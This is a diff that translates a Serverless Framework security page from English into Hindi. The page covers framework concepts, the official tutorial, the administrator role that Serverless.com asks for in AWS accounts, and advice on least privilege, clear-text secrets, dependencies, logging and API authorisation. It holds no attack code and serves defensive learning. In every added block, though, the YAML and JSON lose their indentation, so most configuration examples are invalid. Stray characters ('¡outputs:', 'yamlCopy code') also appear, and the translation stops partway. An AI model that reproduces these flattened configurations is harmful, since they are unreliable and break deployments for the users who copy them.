-The **Team** are the users with access inside the organization. Teams help in organizing members based on roles. **`Collaborators`** can view and deploy existing apps, while **`Admins`** can create new apps and manage organization settings.
+**Team** वे उपयोगकर्ता हैं जिनके पास संगठन के भीतर पहुंच है। टीमें सदस्यों को भूमिकाओं के आधार पर व्यवस्थित करने में मदद करती हैं। **`Collaborators`** मौजूदा ऐप्स को देख और तैनात कर सकते हैं, जबकि **`Admins`** नए ऐप्स बना सकते हैं और संगठन की सेटिंग्स प्रबंधित कर सकते हैं।
### Application
-An **App** is a logical grouping of related services within an Organization. It represents a complete application composed of multiple serverless services that work together to provide a cohesive functionality.
+एक **App** एक संगठन के भीतर संबंधित सेवाओं का तार्किक समूह है। यह कई सर्वरलेस सेवाओं से मिलकर बना एक पूर्ण अनुप्रयोग का प्रतिनिधित्व करता है जो एक साथ मिलकर एक समग्र कार्यक्षमता प्रदान करता है।
### **Services**
-A **Service** is the core component of a Serverless application. It represents your entire serverless project, encapsulating all the functions, configurations, and resources needed. It's typically defined in a `serverless.yml` file, a service includes metadata like the service name, provider configurations, functions, events, resources, plugins, and custom variables.
-
+एक **Service** एक Serverless अनुप्रयोग का मुख्य घटक है। यह आपके पूरे सर्वरलेस प्रोजेक्ट का प्रतिनिधित्व करता है, जिसमें सभी कार्य, कॉन्फ़िगरेशन और आवश्यक संसाधन शामिल होते हैं। इसे आमतौर पर `serverless.yml` फ़ाइल में परिभाषित किया जाता है, एक सेवा में सेवा का नाम, प्रदाता कॉन्फ़िगरेशन, कार्य, घटनाएँ, संसाधन, प्लगइन्स, और कस्टम वेरिएबल्स जैसी मेटाडेटा शामिल होती है।
```yaml
service: my-service
provider:
- name: aws
- runtime: nodejs14.x
+name: aws
+runtime: nodejs14.x
functions:
- hello:
- handler: handler.hello
+hello:
+handler: handler.hello
```
-
Function
-A **Function** represents a single serverless function, such as an AWS Lambda function. It contains the code that executes in response to events.
-
-It's defined under the `functions` section in `serverless.yml`, specifying the handler, runtime, events, environment variables, and other settings.
+एक **Function** एकल सर्वरलेस फ़ंक्शन का प्रतिनिधित्व करता है, जैसे कि AWS Lambda फ़ंक्शन। इसमें वह कोड होता है जो घटनाओं के जवाब में निष्पादित होता है।
+यह `serverless.yml` में `functions` अनुभाग के तहत परिभाषित किया गया है, जिसमें हैंडलर, रनटाइम, घटनाएँ, पर्यावरण चर, और अन्य सेटिंग्स निर्दिष्ट की गई हैं।
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
```
-
-Event
+इवेंट
-**Events** are triggers that invoke your serverless functions. They define how and when a function should be executed.
-
-Common event types include HTTP requests, scheduled events (cron jobs), database events, file uploads, and more.
+**इवेंट** आपके सर्वरलेस फ़ंक्शंस को सक्रिय करने वाले ट्रिगर्स हैं। वे यह परिभाषित करते हैं कि एक फ़ंक्शन को कब और कैसे निष्पादित किया जाना चाहिए।
+सामान्य इवेंट प्रकारों में HTTP अनुरोध, अनुसूचित इवेंट (क्रॉन जॉब), डेटाबेस इवेंट, फ़ाइल अपलोड और अधिक शामिल हैं।
```yaml
functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- - schedule:
- rate: rate(10 minutes)
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+- schedule:
+rate: rate(10 minutes)
```
-
-Resource
+संसाधन
-**Resources** allow you to define additional cloud resources that your service depends on, such as databases, storage buckets, or IAM roles.
-
-They are specified under the `resources` section, often using CloudFormation syntax for AWS.
+**संसाधन** आपको अतिरिक्त क्लाउड संसाधनों को परिभाषित करने की अनुमति देते हैं जिन पर आपकी सेवा निर्भर करती है, जैसे डेटाबेस, स्टोरेज बकेट, या IAM भूमिकाएँ।
+इन्हें `resources` अनुभाग के तहत निर्दिष्ट किया जाता है, अक्सर AWS के लिए CloudFormation सिंटैक्स का उपयोग करते हुए।
```yaml
resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- TableName: my-table
- AttributeDefinitions:
- - AttributeName: id
- AttributeType: S
- KeySchema:
- - AttributeName: id
- KeyType: HASH
- ProvisionedThroughput:
- ReadCapacityUnits: 1
- WriteCapacityUnits: 1
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+TableName: my-table
+AttributeDefinitions:
+- AttributeName: id
+AttributeType: S
+KeySchema:
+- AttributeName: id
+KeyType: HASH
+ProvisionedThroughput:
+ReadCapacityUnits: 1
+WriteCapacityUnits: 1
```
-
-Provider
+प्रदाता
The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider.
-It includes details like the runtime, region, stage, and credentials.
-
+यह विवरण शामिल करता है जैसे कि रनटाइम, क्षेत्र, चरण, और क्रेडेंशियल्स।
```yaml
yamlCopy codeprovider:
- name: aws
- runtime: nodejs14.x
- region: us-east-1
- stage: dev
+name: aws
+runtime: nodejs14.x
+region: us-east-1
+stage: dev
```
-
-Stage and Region
-
-The stage represents different environments (e.g., development, staging, production) where your service can be deployed. It allows for environment-specific configurations and deployments.
+स्टेज और क्षेत्र
+स्टेज विभिन्न वातावरणों का प्रतिनिधित्व करता है (जैसे, विकास, स्टेजिंग, उत्पादन) जहाँ आपकी सेवा को तैनात किया जा सकता है। यह वातावरण-विशिष्ट कॉन्फ़िगरेशन और तैनाती की अनुमति देता है।
```yaml
provider:
- stage: dev
+stage: dev
```
-
-The region specifies the geographical region where your resources will be deployed. It's important for latency, compliance, and availability considerations.
-
+क्षेत्र उस भौगोलिक क्षेत्र को निर्दिष्ट करता है जहाँ आपके संसाधन तैनात किए जाएंगे। यह विलंबता, अनुपालन और उपलब्धता के विचारों के लिए महत्वपूर्ण है।
```yaml
provider:
- region: us-west-2
+region: us-west-2
```
-
Plugins
-**Plugins** extend the functionality of the Serverless Framework by adding new features or integrating with other tools and services. They are defined under the `plugins` section and installed via npm.
-
+**Plugins** सर्वरलेस फ्रेमवर्क की कार्यक्षमता को नए फीचर्स जोड़कर या अन्य उपकरणों और सेवाओं के साथ एकीकृत करके बढ़ाते हैं। इन्हें `plugins` अनुभाग के तहत परिभाषित किया गया है और npm के माध्यम से स्थापित किया जाता है।
```yaml
plugins:
- - serverless-offline
- - serverless-webpack
+- serverless-offline
+- serverless-webpack
```
-
-Layers
-
-**Layers** allow you to package and manage shared code or dependencies separately from your functions. This promotes reusability and reduces deployment package sizes. They are defined under the `layers` section and referenced by functions.
+परतें
+**परतें** आपको साझा कोड या निर्भरताओं को आपके कार्यों से अलग पैकेज और प्रबंधित करने की अनुमति देती हैं। यह पुन: उपयोग को बढ़ावा देती है और तैनाती पैकेज के आकार को कम करती है। इन्हें `layers` अनुभाग के तहत परिभाषित किया जाता है और कार्यों द्वारा संदर्भित किया जाता है।
```yaml
layers:
- commonLibs:
- path: layer-common
+commonLibs:
+path: layer-common
functions:
- hello:
- handler: handler.hello
- layers:
- - { Ref: CommonLibsLambdaLayer }
+hello:
+handler: handler.hello
+layers:
+- { Ref: CommonLibsLambdaLayer }
+```
+
+
+
+
+चर और कस्टम चर
+
+**चर** गतिशील कॉन्फ़िगरेशन को सक्षम करते हैं, जिससे प्लेसहोल्डर का उपयोग किया जा सकता है जो तैनाती के समय हल होते हैं।
+
+- **सिंटैक्स:** `${variable}` सिंटैक्स पर्यावरण चर, फ़ाइल सामग्री, या अन्य कॉन्फ़िगरेशन पैरामीटर को संदर्भित कर सकता है।
+
+```yaml
+functions:
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
+```
+
+* **कस्टम चर:** `custom` अनुभाग का उपयोग उपयोगकर्ता-विशिष्ट चर और कॉन्फ़िगरेशन को परिभाषित करने के लिए किया जाता है जिन्हें `serverless.yml` में पुन: उपयोग किया जा सकता है।
+
+```yaml
+custom:
+tableName: my-dynamodb-table
+stage: ${opt:stage, 'dev'}
```
-Variables and Custom Variables
-
-**Variables** enable dynamic configuration by allowing the use of placeholders that are resolved at deployment time.
-
-- **Syntax:** `${variable}` syntax can reference environment variables, file contents, or other configuration parameters.
-
- ```yaml
- functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
- ```
-
-* **Custom Variables:** The `custom` section is used to define user-specific variables and configurations that can be reused throughout the `serverless.yml`.
-
- ```yaml
- custom:
- tableName: my-dynamodb-table
- stage: ${opt:stage, 'dev'}
- ```
-
-
-
-
-
-Outputs
-
-**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment.
+आउटपुट
+**आउटपुट** उन मानों को परिभाषित करते हैं जो एक सेवा के तैनात होने के बाद लौटाए जाते हैं, जैसे संसाधन ARN, एंडपॉइंट, या अन्य उपयोगी जानकारी। इन्हें `outputs` अनुभाग के तहत निर्दिष्ट किया जाता है और अक्सर अन्य सेवाओं के लिए जानकारी को उजागर करने या तैनाती के बाद आसान पहुंच के लिए उपयोग किया जाता है।
```yaml
¡outputs:
- ApiEndpoint:
- Description: "API Gateway endpoint URL"
- Value:
- Fn::Join:
- - ""
- - - "https://"
- - Ref: ApiGatewayRestApi
- - ".execute-api."
- - Ref: AWS::Region
- - ".amazonaws.com/"
- - Ref: AWS::Stage
+ApiEndpoint:
+Description: "API Gateway endpoint URL"
+Value:
+Fn::Join:
+- ""
+- - "https://"
+- Ref: ApiGatewayRestApi
+- ".execute-api."
+- Ref: AWS::Region
+- ".amazonaws.com/"
+- Ref: AWS::Stage
```
-
-IAM Roles and Permissions
-
-**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions.
+IAM भूमिकाएँ और अनुमतियाँ
+**IAM भूमिकाएँ और अनुमतियाँ** आपके कार्यों और अन्य संसाधनों के लिए सुरक्षा क्रेडेंशियल और पहुँच अधिकारों को परिभाषित करती हैं। इन्हें आवश्यक अनुमतियों को निर्दिष्ट करने के लिए `provider` या व्यक्तिगत कार्य सेटिंग्स के तहत प्रबंधित किया जाता है।
```yaml
provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
-
-Environment Variables
-
-**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions.
+पर्यावरण चर
+**चर** आपको अपने कार्यों को कॉन्फ़िगरेशन सेटिंग्स और रहस्यों को बिना हार्डकोड किए पास करने की अनुमति देते हैं। इन्हें प्रदाता या व्यक्तिगत कार्यों के लिए `environment` अनुभाग के तहत परिभाषित किया जाता है।
```yaml
provider:
- environment:
- STAGE: ${self:provider.stage}
+environment:
+STAGE: ${self:provider.stage}
functions:
- hello:
- handler: handler.hello
- environment:
- TABLE_NAME: ${self:custom.tableName}
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
```
-
Dependencies
-**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`.
-
+**Dependencies** आपके फ़ंक्शंस के लिए आवश्यक बाहरी पुस्तकालयों और मॉड्यूलों का प्रबंधन करते हैं। इन्हें आमतौर पर npm या pip जैसे पैकेज प्रबंधकों के माध्यम से संभाला जाता है, और `serverless-webpack` जैसे उपकरणों या प्लगइनों का उपयोग करके आपके डिप्लॉयमेंट पैकेज के साथ बंडल किया जाता है।
```yaml
plugins:
- - serverless-webpack
+- serverless-webpack
```
-
-Hooks
-
-**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments.
+हुक
+**हुक** आपको परिनियोजन जीवनचक्र के विशिष्ट बिंदुओं पर कस्टम स्क्रिप्ट या कमांड चलाने की अनुमति देते हैं। इन्हें प्लगइन्स का उपयोग करके या `serverless.yml` के भीतर परिभाषित किया जाता है ताकि परिनियोजन से पहले या बाद में क्रियाएँ की जा सकें।
```yaml
custom:
- hooks:
- before:deploy:deploy: echo "Starting deployment..."
+hooks:
+before:deploy:deploy: echo "Starting deployment..."
```
-
### Tutorial
-This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
-
-1. Create an AWS account (Serverless.com start in AWS infrastructure)
-2. Create an account in serverless.com
-3. Create an app:
+यह आधिकारिक ट्यूटोरियल का सारांश है [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
+1. एक AWS खाता बनाएं (Serverless.com AWS अवसंरचना में शुरू होता है)
+2. serverless.com में एक खाता बनाएं
+3. एक ऐप बनाएं:
```bash
# Create temp folder for the tutorial
mkdir /tmp/serverless-tutorial
@@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-
-This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function:
+यह एक **app** बनाना चाहिए था जिसका नाम `tutorialapp` है, जिसे आप [serverless.com](serverless.com-security.md) में देख सकते हैं और एक फ़ोल्डर बनाना चाहिए था जिसका नाम `Tutorial` है जिसमें फ़ाइल **`handler.js`** है जिसमें कुछ JS कोड है जिसमें `helloworld` कोड है और फ़ाइल **`serverless.yml`** है जो उस फ़ंक्शन की घोषणा करती है:
{{#tabs }}
{{#tab name="handler.js" }}
-
```javascript
exports.hello = async (event) => {
- return {
- statusCode: 200,
- body: JSON.stringify({
- message: "Go Serverless v4! Your function executed successfully!",
- }),
- }
+return {
+statusCode: 200,
+body: JSON.stringify({
+message: "Go Serverless v4! Your function executed successfully!",
+}),
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -342,130 +309,122 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
+name: aws
+runtime: nodejs20.x
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
```
-
{{#endtab }}
{{#endtabs }}
-4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com//settings/providers?providerId=new&provider=aws`.
- 1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
- 2. This template generates a role called **`SFRole-`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role.
+4. एक AWS प्रदाता बनाएं, **डैशबोर्ड** में जाकर `https://app.serverless.com//settings/providers?providerId=new&provider=aws`।
+1. `serverless.com` को AWS तक पहुंच देने के लिए यह इस कॉन्फ़िग फ़ाइल का उपयोग करके एक क्लाउडफॉर्मेशन स्टैक चलाने के लिए कहेगा (इस लेख के समय): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+2. यह टेम्पलेट **`SFRole-`** नामक एक भूमिका उत्पन्न करता है जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** उस खाते पर है जिसमें एक ट्रस्ट आइडेंटिटी है जो `Serverless.com` AWS खाते को भूमिका तक पहुंचने की अनुमति देती है।
Yaml roleTemplate
-
```yaml
Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments.
Resources:
- SFRole:
- Type: AWS::IAM::Role
- Properties:
- AssumeRolePolicyDocument:
- Version: "2012-10-17"
- Statement:
- - Effect: Allow
- Principal:
- AWS: arn:aws:iam::486128539022:root
- Action:
- - sts:AssumeRole
- Condition:
- StringEquals:
- sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
- Path: /
- RoleName: !Ref RoleName
- ManagedPolicyArns:
- - arn:aws:iam::aws:policy/AdministratorAccess
- ReporterFunction:
- Type: Custom::ServerlessFrameworkReporter
- Properties:
- ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
- OrgUid: !Ref OrgUid
- RoleArn: !GetAtt SFRole.Arn
- Alias: !Ref Alias
+SFRole:
+Type: AWS::IAM::Role
+Properties:
+AssumeRolePolicyDocument:
+Version: "2012-10-17"
+Statement:
+- Effect: Allow
+Principal:
+AWS: arn:aws:iam::486128539022:root
+Action:
+- sts:AssumeRole
+Condition:
+StringEquals:
+sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
+Path: /
+RoleName: !Ref RoleName
+ManagedPolicyArns:
+- arn:aws:iam::aws:policy/AdministratorAccess
+ReporterFunction:
+Type: Custom::ServerlessFrameworkReporter
+Properties:
+ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
+OrgUid: !Ref OrgUid
+RoleArn: !GetAtt SFRole.Arn
+Alias: !Ref Alias
Outputs:
- SFRoleArn:
- Description: "ARN for the IAM Role used by Serverless Framework"
- Value: !GetAtt SFRole.Arn
+SFRoleArn:
+Description: "ARN for the IAM Role used by Serverless Framework"
+Value: !GetAtt SFRole.Arn
Parameters:
- OrgUid:
- Description: Serverless Framework Org Uid
- Type: String
- Alias:
- Description: Serverless Framework Provider Alias
- Type: String
- RoleName:
- Description: Serverless Framework Role Name
- Type: String
+OrgUid:
+Description: Serverless Framework Org Uid
+Type: String
+Alias:
+Description: Serverless Framework Provider Alias
+Type: String
+RoleName:
+Description: Serverless Framework Role Name
+Type: String
```
-
-Trust Relationship
-
+विश्वास संबंध
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": "arn:aws:iam::486128539022:root"
- },
- "Action": "sts:AssumeRole",
- "Condition": {
- "StringEquals": {
- "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
- }
- }
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::486128539022:root"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
+}
+}
+}
+]
}
```
-
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas.
+5. ट्यूटोरियल `createCustomer.js` फ़ाइल बनाने के लिए कहता है, जो मूल रूप से एक नया API एंडपॉइंट बनाएगा जिसे नए JS फ़ाइल द्वारा संभाला जाएगा और `serverless.yml` फ़ाइल को संशोधित करने के लिए कहता है ताकि यह एक **नया DynamoDB तालिका** उत्पन्न करे, एक **पर्यावरण चर** परिभाषित करे, और उस भूमिका को परिभाषित करे जो उत्पन्न लैंब्डा का उपयोग करेगी।
{{#tabs }}
{{#tab name="createCustomer.js" }}
-
```javascript
"use strict"
const AWS = require("aws-sdk")
module.exports.createCustomer = async (event) => {
- const body = JSON.parse(Buffer.from(event.body, "base64").toString())
- const dynamoDb = new AWS.DynamoDB.DocumentClient()
- const putParams = {
- TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
- Item: {
- primary_key: body.name,
- email: body.email,
- },
- }
- await dynamoDb.put(putParams).promise()
- return {
- statusCode: 201,
- }
+const body = JSON.parse(Buffer.from(event.body, "base64").toString())
+const dynamoDb = new AWS.DynamoDB.DocumentClient()
+const putParams = {
+TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
+Item: {
+primary_key: body.name,
+email: body.email,
+},
+}
+await dynamoDb.put(putParams).promise()
+return {
+statusCode: 201,
+}
}
```
-
{{#endtab }}
{{#tab name="serverless.yml" }}
-
```yaml
# "org" ensures this Service is used with the correct Serverless Framework Access Key.
org: testing12342
@@ -475,141 +434,136 @@ app: tutorialapp
service: Tutorial
provider:
- name: aws
- runtime: nodejs20.x
- environment:
- DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
- iam:
- role:
- statements:
- - Effect: "Allow"
- Action:
- - "dynamodb:PutItem"
- - "dynamodb:Get*"
- - "dynamodb:Scan*"
- - "dynamodb:UpdateItem"
- - "dynamodb:DeleteItem"
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+name: aws
+runtime: nodejs20.x
+environment:
+DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
+iam:
+role:
+statements:
+- Effect: "Allow"
+Action:
+- "dynamodb:PutItem"
+- "dynamodb:Get*"
+- "dynamodb:Scan*"
+- "dynamodb:UpdateItem"
+- "dynamodb:DeleteItem"
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
functions:
- hello:
- handler: handler.hello
- events:
- - httpApi:
- path: /
- method: get
- createCustomer:
- handler: createCustomer.createCustomer
- events:
- - httpApi:
- path: /
- method: post
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
+createCustomer:
+handler: createCustomer.createCustomer
+events:
+- httpApi:
+path: /
+method: post
resources:
- Resources:
- CustomerTable:
- Type: AWS::DynamoDB::Table
- Properties:
- AttributeDefinitions:
- - AttributeName: primary_key
- AttributeType: S
- BillingMode: PAY_PER_REQUEST
- KeySchema:
- - AttributeName: primary_key
- KeyType: HASH
- TableName: ${self:service}-customerTable-${sls:stage}
+Resources:
+CustomerTable:
+Type: AWS::DynamoDB::Table
+Properties:
+AttributeDefinitions:
+- AttributeName: primary_key
+AttributeType: S
+BillingMode: PAY_PER_REQUEST
+KeySchema:
+- AttributeName: primary_key
+KeyType: HASH
+TableName: ${self:service}-customerTable-${sls:stage}
```
-
{{#endtab }}
{{#endtabs }}
-6. Deploy it running **`serverless deploy`**
- 1. The deployment will be performed via a CloudFormation Stack
- 2. Note that the **lambdas are exposed via API gateway** and not via direct URLs
-7. **Test it**
- 1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed
+6. इसे चलाते हुए **`serverless deploy`** करें
+1. तैनाती एक CloudFormation Stack के माध्यम से की जाएगी
+2. ध्यान दें कि **lambdas API गेटवे के माध्यम से एक्सपोज़ किए गए हैं** और सीधे URLs के माध्यम से नहीं
+7. **इसे परीक्षण करें**
+1. पिछले चरण में **URLs** प्रिंट होंगे जहाँ आपके API एंडपॉइंट्स लैम्ब्डा फ़ंक्शंस तैनात किए गए हैं
-## Security Review of Serverless.com
+## Serverless.com की सुरक्षा समीक्षा
-### **Misconfigured IAM Roles and Permissions**
+### **गलत कॉन्फ़िगर किए गए IAM भूमिकाएँ और अनुमतियाँ**
-Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation.
+अत्यधिक अनुमति देने वाली IAM भूमिकाएँ क्लाउड संसाधनों तक अनधिकृत पहुँच प्रदान कर सकती हैं, जिससे डेटा लीक या संसाधन हेरफेर हो सकता है।
-When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like:
+जब किसी Lambda फ़ंक्शन के लिए कोई अनुमतियाँ निर्दिष्ट नहीं की जाती हैं, तो केवल लॉग उत्पन्न करने के लिए अनुमतियों के साथ एक भूमिका बनाई जाएगी, जैसे:
-Minimum lambda permissions
-
+न्यूनतम लैम्ब्डा अनुमतियाँ
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Action": [
- "logs:CreateLogStream",
- "logs:CreateLogGroup",
- "logs:TagResource"
- ],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
- ],
- "Effect": "Allow"
- },
- {
- "Action": ["logs:PutLogEvents"],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
- ],
- "Effect": "Allow"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Action": [
+"logs:CreateLogStream",
+"logs:CreateLogGroup",
+"logs:TagResource"
+],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
+],
+"Effect": "Allow"
+},
+{
+"Action": ["logs:PutLogEvents"],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
+],
+"Effect": "Allow"
+}
+]
}
```
-
-#### **Mitigation Strategies**
+#### **निवारण रणनीतियाँ**
-- **Principle of Least Privilege:** Assign only necessary permissions to each function.
-
- ```yaml
- provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
- ```
-
-- **Use Separate Roles:** Differentiate roles based on function requirements.
-
----
-
-### **Insecure Secrets and Configuration Management**
-
-Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised.
-
-The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**!
-
-> [!CAUTION]
-> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!**
-
-For example, the following example will use SSM to get an environment variable:
+- **कम से कम विशेषाधिकार का सिद्धांत:** प्रत्येक फ़ंक्शन को केवल आवश्यक अनुमतियाँ सौंपें।
```yaml
provider:
- environment:
- DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
+- **अलग-अलग भूमिकाएँ उपयोग करें:** फ़ंक्शन आवश्यकताओं के आधार पर भूमिकाओं में भिन्नता करें।
+
+---
+
+### **असुरक्षित रहस्य और कॉन्फ़िगरेशन प्रबंधन**
+
+संवेदनशील जानकारी (जैसे, API कुंजी, डेटाबेस क्रेडेंशियल) को सीधे **`serverless.yml`** या कोड में स्टोर करना जोखिम भरा हो सकता है यदि रिपॉजिटरी से समझौता किया जाता है।
+
+**`serverless.yml`** फ़ाइल में पर्यावरण चर को स्टोर करने का **सिफारिश की गई** विधि serverless.com से (इस लेख के समय) `ssm` या `s3` प्रदाताओं का उपयोग करना है, जो **तैनाती के समय इन स्रोतों से पर्यावरण मान प्राप्त करने** और **लैम्ब्डा** के पर्यावरण चर को **मानों के स्पष्ट पाठ के साथ कॉन्फ़िगर** करने की अनुमति देता है!
+
+> [!CAUTION]
+> इसलिए, AWS के अंदर लैम्ब्डा की कॉन्फ़िगरेशन पढ़ने के लिए अनुमतियाँ रखने वाला कोई भी व्यक्ति **इन सभी पर्यावरण चर को स्पष्ट पाठ में एक्सेस कर सकेगा!**
+
+उदाहरण के लिए, निम्नलिखित उदाहरण SSM का उपयोग करके एक पर्यावरण चर प्राप्त करेगा:
+```yaml
+provider:
+environment:
+DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+```
And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
> [!TIP]
@@ -631,11 +585,11 @@ Outdated or insecure dependencies can introduce vulnerabilities, while improper
- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
- ```yaml
- plugins:
- - serverless-webpack
- - serverless-plugin-snyk
- ```
+```yaml
+plugins:
+- serverless-webpack
+- serverless-plugin-snyk
+```
- **Input Validation:** Implement strict validation and sanitization of all inputs.
- **Code Reviews:** Conduct thorough reviews to identify security flaws.
@@ -651,10 +605,10 @@ Without proper logging and monitoring, malicious activities may go undetected, d
- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
- ```yaml
- plugins:
- - serverless-plugin-datadog
- ```
+```yaml
+plugins:
+- serverless-plugin-datadog
+```
- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
@@ -670,42 +624,42 @@ Open or improperly secured APIs can be exploited for unauthorized access, Denial
- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- authorizer: aws_iam
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+authorizer: aws_iam
+```
- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
- ```yaml
